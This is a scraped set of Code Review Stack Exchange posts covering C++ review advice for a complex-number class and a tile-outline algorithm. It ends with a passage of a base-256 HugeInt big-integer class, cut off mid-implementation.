"body": "<h2>Use field initialization lists:</h2>\n\n<p>So your constructor</p>\n\n<pre><code>ComplexNumber(double real = 0.0, double imaginary = 0.0) {\n this->real = real;\n this->imaginary = imaginary;\n}\n</code></pre>\n\n<p>Can become:</p>\n\n<pre><code>ComplexNumber(double real = 0.0, double imaginary = 0.0)\n : real(real), imaginary(imaginary) { }\n</code></pre>\n\n<h2>Simplify your returns</h2>\n\n<p>I could see an argument for making an extra <code>ComplexNumber</code> to hold your return value if you need to further modify it or if the name of that variable is explanatory in showing what the return means, but as it stands, your <code>c</code> is neither of those.</p>\n\n<p>Simplify</p>\n\n<pre><code>ComplexNumber c = ComplexNumber(real, imaginary);\nreturn c;\n</code></pre>\n\n<p>To just</p>\n\n<pre><code>return ComplexNumber(real, imaginary);\n</code></pre>\n\n<h2>Make your operator functions <code>const</code></h2>\n\n<p>Since you (correctly) don't modify <code>a</code> when you do <code>a + b</code>, the operator function can (and should) be declared <code>const</code>. That way, even if you have a <code>const</code> object, you'll still be able to call it (and if you accidentally try to modify the member variable, you'll know immediately in the form of a compilation error).</p>\n\n<p>That'd look like:</p>\n\n<pre><code>ComplexNumber operator+(const ComplexNumber &b) const {\n</code></pre>\n\n<p>Notice I've also declared <code>b</code> as <code>const</code> here since you shouldn't be modifying it either. I've also passed it by reference to save you some overhead.</p>\n\n<h2>Make your class printable with <code>std::cout</code></h2>\n\n<p>Your <code>printNumber</code> is very specific. In fact, if you ever want to use this class for anything other than simply showing arithmetic results, that print may not be what you want. Instead, I'd make a generic <code>str()</code> that just returns a string version of the complex number. Something like:</p>\n\n<pre><code>std::string str() {\n std::ostringstream oss;\n oss << this->real << \" + (\" << this->imaginary << \") * i\";\n return oss.str(); \n}\n</code></pre>\n\n<p>And then in the global scope, you can overload the <code><<</code> operator for <code>std::cout</code>:</p>\n\n<pre><code>std::ostream& operator<<(std::ostream &os, const ComplexNumber &cn) {\n return os << cn.str();\n}\n</code></pre>\n\n<p>And now when you want to print it in <code>main()</code>, you can say:</p>\n\n<pre><code>std::cout << \"a + b = \" << a + b << std::endl;\nstd::cout << \"a - b = \" << a - b << std::endl;\nstd::cout << \"a * b = \" << a * b << std::endl;\nstd::cout << \"a / b = \" << a / b << std::endl;\n</code></pre>\n\n<p>Look at how easy that becomes to read and understand!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:54:05.943",
"Id": "463740",
"Score": "3",
"body": "Terminology - it's not a *syntax* error to attempt to write a read-only value. Syntax refers to *parsing* the program text. That's just a nit-pick; great review otherwise!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:15:44.967",
"Id": "463747",
"Score": "0",
"body": "@Toby perhaps I have it wrong, but I believe in C++ trying to modify a read-only (or `const`) variable will result in a syntax error as a result of the language being strongly typed (and so this being something the compiler can parse and catch), no?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T19:35:45.110",
"Id": "463765",
"Score": "0",
"body": "Hmm I think we may be saying the same thing here @Toby. Trying to modify a `const` variable is likely the result of a semantic error, but it'll be caught at compile time and shown as a syntax error by the compiler, which lines up with: \"*and if you accidentally try to modify the member variable, you'll know immediately in the form of a syntax error*\" right? Is there some way you think I should edit that line to make it more correct with what you're saying?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T21:01:01.053",
"Id": "463771",
"Score": "5",
"body": "Yes, it's a compilation error. No, it's not an error of *syntax*. That's the minor distinction I'm making. In English, \"My car blue is\" is a syntax error, and \"My car smells blue\" is not a syntax error, but it's still broken. See [syntax versus sematics](https://en.wikipedia.org/wiki/Syntax_(programming_languages)#Syntax_versus_semantics)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T21:09:51.467",
"Id": "463772",
"Score": "1",
"body": "Ahh I think I see @Toby. I guess I've had it in my head that a compilation error is always a syntax error. But it looks like it's more of a rectangle/square situation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T00:23:40.283",
"Id": "463781",
"Score": "0",
"body": "The lines are further blurred in C++, too, since whether something is syntactically correct can depend on the semantics of the expression. Parsing C++ is hard!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:07:21.970",
"Id": "464028",
"Score": "0",
"body": "I'd switch the the ``str()`` and ``std::ostream& operator<<`` logic around. Stream it into the ``ostream`` how you want it formatted. And in the ``str()`` method you just stream ``*this`` into the ``stringstream`` and catch the string. Saves the overhead of creating a string object every time you stream the object."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:46:52.377",
"Id": "464034",
"Score": "0",
"body": "@Brain I've seen both ways. Personally I prefer this since it doesn't require friending a function (which I consider bad practice when it's avoidable)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:15:58.927",
"Id": "464039",
"Score": "0",
"body": "@scohe001 avoiding unneeded dynamic allocations is arguably more important than avoiding a friended function (especially the most used one there is and one that would be a member function if possible). I’d go as far as saying that friending that operator is essentially unavoidable. Because avoiding it with way worse coding practices is waaaay worse."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T16:02:03.043",
"Id": "236593",
"ParentId": "236578",
"Score": "16"
}
},
{
"body": "<p>As in your previous question, your interface is still awkward. That is, if there's an <code>add</code> method, I fully expect that calling <code>a.add(b)</code> will mean that a results in a plus b. So in particular, the state of <code>a</code> will be changed.</p>\n\n<p>A user of your class will also find <code>void printNumber(char mathOperator)</code> weird. Indeed, why as a user of the class do I need to worry about such details meaning the parameter? The user will just want to get his/her complex number printed and not be forced to worry about such details. So such a function might make sense as a private workhorse (but do make it <code>const</code> and read more about <code>const</code> - it's good for you) that <code>operator<<</code> can call, as explained in another answer.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:12:27.033",
"Id": "236596",
"ParentId": "236578",
"Score": "6"
}
},
{
"body": "<h1>Operator Consistency</h1>\n\n<p>You provide operators for <code>+</code>, <code>-</code>, etc., but as it is some things I would expect to do are illegal, such as</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>ComplexNumber c(1, 2);\nComplexNumber d(3, 4);\nd += c;\n</code></pre>\n\n<p>Generally the recommendation with these forms of operators is to implement the <code>+=</code> form in your class, and then define <code>+</code> as a non-member in terms of <code>+=</code>. For example:</p>\n\n<pre><code>class ComplexNumber {\npublic:\n // ...\n ComplexNumber& operator+=(ComplexNumber b) {\n this->real += b.real;\n this->imaginary += b.imaginary;\n return *this;\n }\n\n friend ComplexNumber operator+(ComplexNumber a, ComplexNumber b) {\n // note a is a copy here\n a += b;\n return a;\n }\n\n // and so forth for -, *, /\n};\n</code></pre>\n\n<p>Doing it this way also means that</p>\n\n<pre><code>ComplexNumber c(1, 2);\nComplexNumber d = c + 1; // compiles with both your code and mine\nComplexNumber e = 1 + c; // only compiles with the above changes\n</code></pre>\n\n<p>will compile. If it's not desirable that a number <code>1</code> will implicitly convert to a <code>ComplexNumber</code>, consider marking your constructor <code>explicit</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T00:37:52.283",
"Id": "236613",
"ParentId": "236578",
"Score": "7"
}
},
{
"body": "<p>People have talked about simplifying the return temporary, but not the interior temporaries: </p>\n\n<pre><code>ComplexNumber operator+(ComplexNumber a, ComplexNumber b) {\n //Just add real- and imaginary-parts\n return ComplexNumber(a.real + b.real,\n a.imaginary + b.imaginary);\n}\n</code></pre>\n\n<p>Conversely, sometimes you should make a temporary. Notably, the denominator in the a/b calculation should be a temporary.\nMind you, this is the absolute value of b, so maybe that line reads (given the relevant function is defined): </p>\n\n<pre><code>double abs_b = abs(b);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:46:33.403",
"Id": "236643",
"ParentId": "236578",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "236593",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T12:16:21.647",
"Id": "236578",
"Score": "6",
"Tags": [
"c++",
"beginner",
"reinventing-the-wheel",
"complex-numbers"
],
"Title": "C++ Calculator for complex numbers - follow-up"
}
|
236578
|
<p>On a game I'm working curently I keep on memory a simplified representation of the map which only have solid and non-solid cells. I need to get the outline of the shapes that adjacent cells might create, something like this:</p>
<p><img src="https://i.stack.imgur.com/DOyce.png"/></p>
<p>I do not have a 8×8 array of bools on memory but a container of <code>cell</code><sup>1</sup> objects:</p>
<pre><code>struct point { int x{}, y{}; };
struct line { point b{}, e{}; };
struct cell
{
int x{}, y{};
std::array<line, 4> lines() const
{
return
{{
{{x + 0, y + 0}, {x + 0, y + 1}},
{{x + 0, y + 0}, {x + 1, y + 0}},
{{x + 0, y + 1}, {x + 1, y + 1}},
{{x + 1, y + 0}, {x + 1, y + 1}},
}};
};
};
</code></pre>
<p>Mi goal is to obtain a container with all the otulines, for example the outlines of the square at the top right corner are:</p>
<pre><code>{
// Vertical line (x6) that starts at position y0 and ends at position y2
{{6, 0}, {6, 2}},
// Horizontal line (y0) that starts at position x6 and ends at position x8
{{6, 0}, {8, 0}},
// …
{{6, 2}, {8, 2}},
// …
{{8, 0}, {8, 2}}
}
</code></pre>
<p>The algorithm I'm using have the following steps:</p>
<ol>
<li>Transform cells to lines.</li>
<li>Save lines into container, if the line is already on that container: delete it (this Will get rid of lines inside shapes).</li>
<li>Test each line against the others, if two lines are colinear and the end of one is the beggining of the other: merge it.</li>
</ol>
<p></p>
<pre><code>template <template <typename> typename container_t>
auto vertex_of(const container_t<cell> &cells)
{
std::set<line> outlines;
for (const auto &cell : cells)
// Transform cells to lines
for (const auto &line : cell.lines())
// Save lines into temp container
if (auto [i, b] = outlines.insert(line); !b)
// If the line is already on the container: delete it
outlines.erase(i);
std::vector<line> result;
// Test each line against the others, if two lines are colinear and the end of one
// is the beggining of the other: merge it.
for (const auto &outline : outlines)
{
if (std::find_if(result.begin(), result.end(), [&b = outline](line &a)
{
bool result{};
if ((result = (a.e == b.b) && ((a.b.x * (b.b.y - b.e.y)) + (b.b.x * (b.e.y - a.b.y)) + (b.e.x * (a.b.y - b.b.y)) == 0)))
a.e = b.e;
return result;
}) == result.end())
{
result.push_back(outline);
}
}
return result;
}
</code></pre>
<p>Code Snippet available <a href="https://tio.run/##rVVtj5pAEP4Mv2LbJgo9pOp5mJwvf@R6Mcu6eqQIBBajIfz12pnZRcDzPvTaizc4O88@z@zsMIosG@2FuFy@RYmIy61kyygtVC75YW23a0cpVJp3V3ie83N3oZCq66oyi2VvQ7xP80i99XjFgau3tW2DYikUy9IoUaxiaE9V7bFzVS9YvWjicZRICGtYiADZBwgZx3ZlWz0C2yrU9vmZMl4ihcdma@IqHJeJNCmUbcEmK5eqzBP4UqEH9sQe2BhI8AFkXX9S197HoEnj3wFNbkB9psl9JgOq8TTwDx@bDmXuig3STOYc7ogtl85NxNNnpOKwgXCxQPqoLAU4G74M8SH8Ez6@euyrds8UfB2C3CfU9CUNsvdyFcllfbnMyNWflKPWGMTv1RxSi/2QvJHxJHmuFrPDNI1ZK@J068X75Qu7CpSLiqTD/ZPHuH922bJdDHExhEUSua9hqsRvqvafVFarf5NZrf7uNPoSeP9OPhIJUUTenCVEDak1ftz@2baShyzmCudL@@2cyYQf5Jo131BecRDPNzCTeKlSdpS5kqdNumvutkUs8WLX8GLAo6BcKR@YZzQs1iwtFQ0LeOesHZzWUBAv7WLPzGy23gOoCBrgm5mDOCvaMYcQLxGc@ZWtrjp@lBSQroOOu2BfQsJb1zAUvZBO5GI@lKqezibbXBZlrO7mahggm4bL1YMPcyGmXZRsN9HO0SR@KPdR4rieIfVlskXvZRC26b465tYxS5qb1Bt6B01fzW84YSPcvcTWgtt22WAAIWgGmAbfGTYAzIER9gB0mguDj5ZMTFIMwdeY1DF@3adjwD52dZ0tUkNGSsX0YVslqyZ494TXk5jFrCzeNiEXvxxzZhepapjEtn1LCEv4ah04Fu7aTOaGdKdRr@jCV2MvqD2wcxrv1cSDXwewU7IzsgFZA5gSYIohdB@9R3AfG3dG7qxxnzz4GQE7ITsl@0Q2IGs4A4IFBAsIFhAsaABzAswJMCfAnABz4plrWH235Y7QbJ13j94SLC9VRUA5cQ4faRj/TIaLtp5jKOXl8lvsYr4vLiPAr8TDw5T/AQ" rel="nofollow noreferrer" title="C++ (gcc) – Try It Online">here</a>, I have the feeling that it have lots of room for improvement.</p>
<hr>
<p><sup>1</sup><code>cell</code> is more complex, but the additional complexity is out of the scope right now, so I'll keep things simple.</p>
|
[] |
[
{
"body": "<p>Your code makes remarkably good usage of modern C++ idioms. Bravo!</p>\n\n<p>The only improvement that jumps out to me is the signature of <code>vertex_of</code>. By reading its definition, you can deduce that it returns a <code>std::vector<line></code>, but ideally this should be documented in the declaration itself. I'd advice changing the signature to either</p>\n\n<pre><code>std::vector<line> vertex_of(const container_t<cell> &cells)\n</code></pre>\n\n<p>or</p>\n\n<pre><code>auto vertex_of(const container_t<cell> &cells) -> std::vector<line>\n</code></pre>\n\n<p>depending on the stlye you prefer.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:37:51.677",
"Id": "463719",
"Score": "0",
"body": "You're right. Now my code is kinda messy because this part went through many iterations, thanks to you pointing the return type I've realized that the naming is not correct (I'm not looking for vertexes but for outlines) and the function have no need to be templatized (or does it?)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:30:39.373",
"Id": "236583",
"ParentId": "236579",
"Score": "2"
}
},
{
"body": "<p>It seems that the order of elements in <code>outlines</code> is not important, so it could also be of type <code>std::unordered_set<line></code>. Of course, we'd then have to give it a suitable hash function, but that's easy to do.</p>\n\n<p>Another consideration: for the 2nd loop of <code>vertex_of</code>, we are essentially interested in the question \"given a line, is there another line whose end matches the beginning of the first?\". For this, we could set up a data structure that orders lines based on their beginning. By doing that, we could do away with much less work than your current quadratic solution.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T20:14:56.630",
"Id": "236607",
"ParentId": "236579",
"Score": "2"
}
},
{
"body": "<pre><code>if (std::find_if(result.begin(), result.end(), [&b = outline](line &a)\n {\n bool result{};\n if ((result = (a.e == b.b) && ((a.b.x * (b.b.y - b.e.y)) + (b.b.x * (b.e.y - a.b.y)) + (b.e.x * (a.b.y - b.b.y)) == 0)))\n a.e = b.e;\n return result;\n\n }) == result.end())\n</code></pre>\n\n<p>You're modifying the contents of the result collection within a find_if predicate. It might work, but it's very unintuitive and should be just as easy to modify the value outside the predicate.</p>\n\n<hr>\n\n<p>You have a point data structure you don't seem to be using.</p>\n\n<hr>\n\n<pre><code>int x{}, y{};\n</code></pre>\n\n<p>In my opinion, don't zero initialize these, as it's not adding anything of value, even semantically. There's no reason a default initialized point needs to be assumed to be 0, especially when it could be zero initialized itself.</p>\n\n<hr>\n\n<pre><code>bool result{};\nif ((result = (a.e == b.b) && ((a.b.x * (b.b.y - b.e.y)) + (b.b.x * (b.e.y - a.b.y)) + (b.e.x * (a.b.y - b.b.y)) == 0)))\n a.e = b.e;\n</code></pre>\n\n<p>This needs to be cleaned up. Declaring the result like that is unnecessary. Ideally the code should be understandable with a minimal amount of surrounding context. These are not appropriate names for variables.</p>\n\n<hr>\n\n<p>The lines method is tightly coupling lines to your cell data structure. I recommend removing it, and keeping the cell data structure as plain data with no methods. </p>\n\n<hr>\n\n<p>If you are guaranteed that the grid is always 8x8 (due to your design), then it's fine to store an array of bools. It's the size of 8 doubles. You presently use more memory if your grid is over 12.5% full since each cell is 8 bytes. The advantage of a sparse data structure is if you have a huge grid with significantly fewer entries.</p>\n\n<hr>\n\n<p>If you're bound to using a sparse representation, you can store it more coherently such that the outlines can be extracted more conveniently. It seems very much like a connected components problem. For example, if you had a huge grid, you could represent occupied cells with a \n<code>std::unordered_map<CellColumnIndexType, std::unordered_set<CellRowIndexType>></code></p>\n\n<p>This has nearly no superfluous memory overhead with constant time searching. Note that this will perform significantly slower on small grid sizes (e.g. 8x8).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:45:06.597",
"Id": "463828",
"Score": "0",
"body": "Thanks for your answer, just some clarifications: `point` data structure is used as member of `line` data structure. `cell` data structure is way more complex but I've left out that complexity because is not part of the question. The grid have random sizes not just 8 by 8."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T23:47:20.077",
"Id": "236612",
"ParentId": "236579",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T12:29:54.003",
"Id": "236579",
"Score": "4",
"Tags": [
"c++"
],
"Title": "Find outlines of a tile collection"
}
|
236579
|
<p>After a hiatus, I have returned to coding in C++. In an effort to learn some of the newer aspects of the language and for exercise and 'up-skilling', I am writing some simple classes and this <code>HugeInt</code> (huge integer) class is an example.</p>
<p>Looking on the web there are a number of implementations, which appear to use base-10 digits internally. My class uses base-256 digits internally, represented as fixed-length arrays of <code>uint8_t</code>, which gives you about a factor of <span class="math-container">\$\log_{10}(256) = 2.41\$</span> increase in decimal digits per unit of storage. Also, masking off the carry byte can be done very easily. Negative values are represented using base-256 complement. More details can be found in the header file and implementation code, both of which are liberally commented.</p>
<p>I would appreciate feedback on coding style, implementation, improvements, etc. I have been using uniform initialisation almost throughout (I cannot bring myself to use it for loop indices) on the advice of a textbook I have been working through. What is current best practice, especially amongst developers in the private sector? Being an arithmetic class, I am relying quite heavily on implicit type conversion from long <code>int</code>s and from C strings. This is a convenience for users of the class, but I welcome comments on this approach.</p>
<p>Perhaps this is not a question for Code Review, but, surprisingly to me, when I used level 2 optimisation in g++ (-O2) the code compiles, but seems to enter an infinite loop on execution. So, if you compile this code, please test first without optimisation. If you can shed some light on why the optimiser causes this behaviour, then I'd be very happy to hear it.</p>
<p>I have checked the results of various calculations by comparing with Wolfram Alpha and all seems to be good, and fairly efficient. I was able to calculate all 2568 digits of <span class="math-container">\$1000!\$</span> in about 45 seconds on my old Dell M3800 (you will need to increase <code>numDigits</code> in the code below). I have set the default number of base-256 digits to 200, giving about 480 decimal digits. This seems to be a good choice to balance speed with usefulness, but this can be changed by changing the <code>numDigits</code> member.</p>
<p>The code follows. I have not wrapped the class in a namespace yet, for simplicity, but I do realise that in a production environment this should be done.</p>
<p>Thank you in advance for your time.</p>
<p>Header file:</p>
<pre><code>/*
* HugeInt.h
*
* Definition of the huge integer class
* RADIX 256 VERSION
*
* Huge integers are represented as N-digit arrays of uint8_t types, where
* each uint8_t value represents a base 256 digit. By default N = 200, which
* corresponds to roughly 480 decimal digits. Each uint8_t contains a single
* radix 256, i.e., base 256, digit in the range 0 <= digit < 256.
* If `index' represents the index of the array of uint8_t digits[N],
* i.e., 0 <= index <= N - 1, and 'value' represents the power of 256
* corresponding to the radix 256 digit at 'index', then we have the following
* correspondence:
*
* index |...| 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
* ----------------------------------------------------------------------------
* value |...| 256^7 | 256^6 | 256^5 | 256^4 | 256^3 | 256^2 | 256^1 | 256^0 |
*
* The physical layout of the uint8_t array in memory is:
*
* uint8_t digits[N] = {digits[0], digits[1], digits[2], digits[3], ... }
*
* which means that the units appear first in memory, while the power of
* 256^(N-1) appears last. This LITTLE ENDIAN storage represents the number in
* memory in the REVERSE order of the way we write decimal numbers, but is
* convenient.
*
* Negative integers are represented by their radix complement. With the
* base 256 implementation here, we represent negative integers by their base
* 256 complement. With this convention the range of
* non-negative integers is:
* 0 <= x <= 256^N/2 - 1
* The range of base 256 integers CORRESPONDING to negative values in the
* base 256 complement scheme is:
* 256^N/2 <= x <= 256^N - 1
* So -1 corresponds to 256^N - 1, -2 corresponds to 256^N - 2, and so on.
*/
#ifndef HUGEINT_H
#define HUGEINT_H
#include <string>
#include <iostream>
class HugeInt {
public:
HugeInt();
HugeInt(const long int); // conversion constructor from long int
HugeInt(const char* const); // conversion constructor from C string
HugeInt(const HugeInt&); // copy/conversion constructor
// assignment operator
const HugeInt& operator=(const HugeInt&);
// unary minus operator
HugeInt operator-() const;
HugeInt radixComplement() const;
// conversion to double
explicit operator long double() const;
// basic arithmetic
friend HugeInt operator+(const HugeInt&, const HugeInt&);
friend HugeInt operator-(const HugeInt&, const HugeInt&);
friend HugeInt operator*(const HugeInt&, const HugeInt&);
// friend HugeInt operator/(const HugeInt&, const HugeInt&); // TODO:
// increment and decrement operators
HugeInt& operator+=(const HugeInt&);
HugeInt& operator-=(const HugeInt&);
HugeInt& operator*=(const HugeInt&);
// HugeInt& operator/=(const HugeInt&); TODO:
HugeInt& operator++(); // prefix
HugeInt operator++(int); // postfix
HugeInt& operator--(); // prefix
HugeInt operator--(int); // postfix
// relational operators
friend bool operator==(const HugeInt&, const HugeInt&);
friend bool operator!=(const HugeInt&, const HugeInt&);
friend bool operator<(const HugeInt&, const HugeInt&);
friend bool operator>(const HugeInt&, const HugeInt&);
friend bool operator<=(const HugeInt&, const HugeInt&);
friend bool operator>=(const HugeInt&, const HugeInt&);
bool isZero() const;
bool isNegative() const;
// output
std::string toStringRaw() const;
std::string toDecimalString() const;
friend std::ostream& operator<<(std::ostream& output, const HugeInt&);
private:
static const int numDigits{200}; // max. number of radix 256 digits
uint8_t digits[numDigits]{0}; // radix 256 digits; zero by default
// private utility functions
HugeInt& radixComplementSelf();
HugeInt shortDivide(int) const;
int shortModulo(int) const;
HugeInt shortMultiply(int) const;
HugeInt& shiftLeftDigits(int);
};
#endif /* HUGEINT_H */
</code></pre>
<p>The implementation is here:</p>
<pre><code>/*
* HugeInt.cpp
*
* Implementation of the HugeInt class. See comments in HugeInt.h for
* details of representation, etc.
*
* RADIX 256 VERSION
*
*/
#include <cstdlib> // for abs(), labs(), etc.
#include <iostream>
#include <iomanip>
#include <sstream>
#include <cstring>
#include <stdexcept>
#include "HugeInt.h"
/*
* Non-member utility functions
*/
/**
* get_carry
*
* Return the high byte of the lower two-byte word stored as an int.
* Return this byte value as an integer.
*
* @param value
* @return
*/
inline int get_carry(int value) {
return static_cast<int>(value >> 8 & 0xff);
}
/**
* get_digit
*
*Return the low byte of the two-byte word stored as an int.
* Return this byte value as an integer.
*
* @param value
* @return
*/
inline int get_digit(int value) {
return static_cast<int>(value & 0xff);
}
/**
* Constructor (default)
*
*/
HugeInt::HugeInt() {
// empty body
}
/**
* Constructor (conversion constructor)
*
* Construct a HugeInt from a long integer (the base 10 representation of
* the number).
*
*/
HugeInt::HugeInt(const long int x) {
if (x == 0) {
return;
}
long int xp{labs(x)};
int i{0};
// Successively determine units, 256's, 256^2's, 256^3's, etc.
// storing them in digits[0], digits[1], digits[2], ...,
// respectively. That is units = digits[0], 256's = digits[1], etc.
while (xp > 0) {
digits[i++] = xp % 256;
xp /= 256;
}
if (x < 0) {
radixComplementSelf();
}
}
/**
* Constructor (conversion constructor)
*
* Construct a HugeInt from a null-terminated C string representing the
* base 10 representation of the number. The string is assumed to have
* the form "[+/-]31415926", including an optional '+' or '-' sign.
*
* WARNING: No spaces are allowed in the decimal string.
*
* @param str
*/
HugeInt::HugeInt(const char *const str) {
bool flagNegative{false};
HugeInt theNumber{0L};
HugeInt powerOfTen{1L}; // initially 10^0 = 1
int numDecimalDigits{0};
int digitValue{0};
int len{static_cast<int>(strlen(str))};
if (len == 0) {
throw std::invalid_argument{"empty decimal string in constructor"};
}
// Check for explicit positive and negative signs and adjust accordingly.
// If negative, we flag the case and perform a ten's complement at the end.
if (str[0] == '+') {
numDecimalDigits = len - 1;
} else if (str[0] == '-') {
flagNegative = true;
numDecimalDigits = len - 1;
} else {
numDecimalDigits = len;
}
// Loop (backwards) through each decimal digit, digit[i], in the string,
// adding its numerical contribution, digit[i]*10^i, to theNumber. Here i
// runs upwards from zero, starting at the right-most digit of the string
// of decimal digits.
for (int i = 0; i < numDecimalDigits; ++i) {
digitValue = static_cast<int>(str[len - 1 - i]) - '0';
theNumber += powerOfTen.shortMultiply(digitValue);
powerOfTen = powerOfTen.shortMultiply(10);
}
if (flagNegative) {
theNumber.radixComplementSelf();
}
for (int i = 0; i < numDigits; ++i) {
digits[i] = theNumber.digits[i];
}
}
/**
* Copy constructor
*
* @param rhs
*/
HugeInt::HugeInt(const HugeInt& rhs) {
// TODO: perhaps call copy assignment?
for (int i = 0; i < numDigits; ++i)
digits[i] = rhs.digits[i];
}
/**
* Assignment operator
*
* @param rhs
* @return
*/
const HugeInt& HugeInt::operator=(const HugeInt& rhs) {
if (&rhs != this) {
for (int i = 0; i < numDigits; ++i) {
digits[i] = rhs.digits[i];
}
}
return *this;
}
/**
* Unary minus operator
*
* @return
*/
HugeInt HugeInt::operator-() const {
return radixComplement();
}
/**
* radixComplement()
*
* Return the radix-256 complement of HugeInt.
*
* @return
*/
HugeInt HugeInt::radixComplement() const {
HugeInt result{*this};
return result.radixComplementSelf();
}
/**
* operator long double()
*
* Use with static_cast<long double>(hugeint) to convert hugeint to its
* approximate (long double) floating point value.
*
*/
HugeInt::operator long double() const {
long double retval{0.0L};
long double pwrOf256{1.0L};
long double sign{1.0L};
HugeInt copy{*this};
if (copy.isNegative()) {
copy.radixComplementSelf();
sign = -1.0L;
}
for (int i = 0; i < numDigits; ++i) {
retval += copy.digits[i] * pwrOf256;
pwrOf256 *= 256.0L;
}
return retval*sign;
}
/**
* Operator +=
*
* NOTE: With the conversion constructors provided, also
* provides operator+=(long int) and
* operator+=(const char *const)
*
* @param increment
* @return
*/
HugeInt& HugeInt::operator+=(const HugeInt& increment) {
*this = *this + increment;
return *this;
}
/**
* Operator -=
*
* NOTE: With the conversion constructors provided, also
* provides operator-=(long int) and
* operator-=(const char *const)
*
*
* @param decrement
* @return
*/
HugeInt& HugeInt::operator-=(const HugeInt& decrement) {
*this = *this - decrement;
return *this;
}
/**
* Operator *=
*
* NOTE: With the conversion constructors provided, also
* provides operator*=(long int) and
* operator*=(const char *const)
*
* @param multiplier
* @return
*/
HugeInt& HugeInt::operator*=(const HugeInt& multiplier) {
*this = *this * multiplier;
return *this;
}
/**
* Operator ++ (prefix)
*
* @return
*/
HugeInt& HugeInt::operator++() {
*this = *this + 1;
return *this;
}
/**
* Operator ++ (postfix)
*
* @param
* @return
*/
HugeInt HugeInt::operator++(int) {
HugeInt retval{*this};
++(*this);
return retval;
}
/**
* Operator -- (prefix)
*
* @return
*/
HugeInt& HugeInt::operator--() {
*this = *this - 1;
return *this;
}
/**
* Operator -- (postfix)
*
* @param
* @return
*/
HugeInt HugeInt::operator--(int) {
HugeInt retval{*this};
--(*this);
return retval;
}
/**
* isZero()
*
* Return true if the HugeInt is zero, otherwise false.
*
* @return
*/
bool HugeInt::isZero() const {
int i{numDigits - 1};
while (digits[i] == 0) {
i--;
}
return i < 0;
}
/**
* isNegative()
*
* Return true if a number x is negative (x < 0). If x >=0, then
* return false.
*
* NOTE: In radix-256 complement notation, negative numbers, x, are
* represented by the range of values: 256^N/2 <= x <=256^N - 1.
* Since 256^N/2 = (256/2)*256^(N-1) = 128*256^(N-1), we only need to
* check whether the (N - 1)'th base 256 digit is at least 128.
*
* @return
*/
bool HugeInt::isNegative() const {
return digits[numDigits - 1] >= 128;
}
/**
* toStringRaw()
*
* Format a HugeInt as string in raw internal format, i.e., as a sequence
* of base-256 digits (each in decimal form, 0 <= digit < 256).
*
* @return
*/
std::string HugeInt::toStringRaw() const {
std::ostringstream oss;
int istart{numDigits - 1};
while (digits[istart] == 0) {
istart--;
}
if (istart < 0) // the number is zero
{
oss << static_cast<int> (digits[0]);
} else {
for (int i = istart; i >= 0; --i) {
oss << std::setw(3) << std::setfill('0')
<< static_cast<int>(digits[i]) << " ";
}
}
return oss.str();
}
/**
* toDecimalString()
*
* Format HugeInt as a string of decimal digits. The length of the decimal
* string is estimated (roughly) by solving for x:
*
* 256^N = 10^x ==> x = N log_10(256) = N * 2.40825 (approx)
*
* where N is the number of base 256 digits. A safety margin of 5 is added
* for good measure.
*
* @return
*/
std::string HugeInt::toDecimalString() const {
const int numDecimal{static_cast<int>(numDigits * 2.40825) + 5};
int decimalDigits[numDecimal]{0}; // int avoids <char> casts
std::ostringstream oss;
HugeInt tmp;
// Special case HugeInt == 0 is easy
if (isZero()) {
oss << "0";
return oss.str();
}
// set copy to the absolute value of *this
// for use in shortDivide and shortModulo
if (isNegative()) {
oss << "-";
tmp = this->radixComplement();
} else {
tmp = *this;
}
// determine the decimal digits of the absolute value
int i = 0;
while (!tmp.isZero()) {
decimalDigits[i++] = tmp.shortModulo(10);
tmp = tmp.shortDivide(10);
}
// output the decimal digits
for (int j = i - 1; j >= 0; --j) {
if (j < i - 1) {
if ((j + 1) % 3 == 0) // show thousands separator
{
oss << ','; // thousands separator
}
}
oss << decimalDigits[j];
}
return oss.str();
}
////////////////////////////////////////////////////////////////////////////
// friend functions //
////////////////////////////////////////////////////////////////////////////
/**
* friend binary operator +
*
* Add two HugeInts a and b and return c = a + b.
*
* Note: since we provide conversion constructors for long int's and
* null-terminated C strings, this function, in effect, also provides
* the following functionality by implicit conversion of strings and
* long int's to HugeInt
*
* c = a + <some long int> e.g. c = a + 2412356L
* c = <some long int> + a e.g. c = 2412356L + a
*
